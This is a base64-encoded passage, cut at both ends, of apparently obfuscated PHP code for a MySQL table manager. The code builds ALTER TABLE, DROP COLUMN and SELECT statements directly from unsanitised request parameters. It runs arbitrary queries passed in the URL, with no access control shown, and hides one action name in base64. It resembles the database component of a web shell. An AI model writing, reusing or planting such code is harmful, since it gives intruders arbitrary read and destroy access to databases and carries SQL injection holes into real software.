dGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KC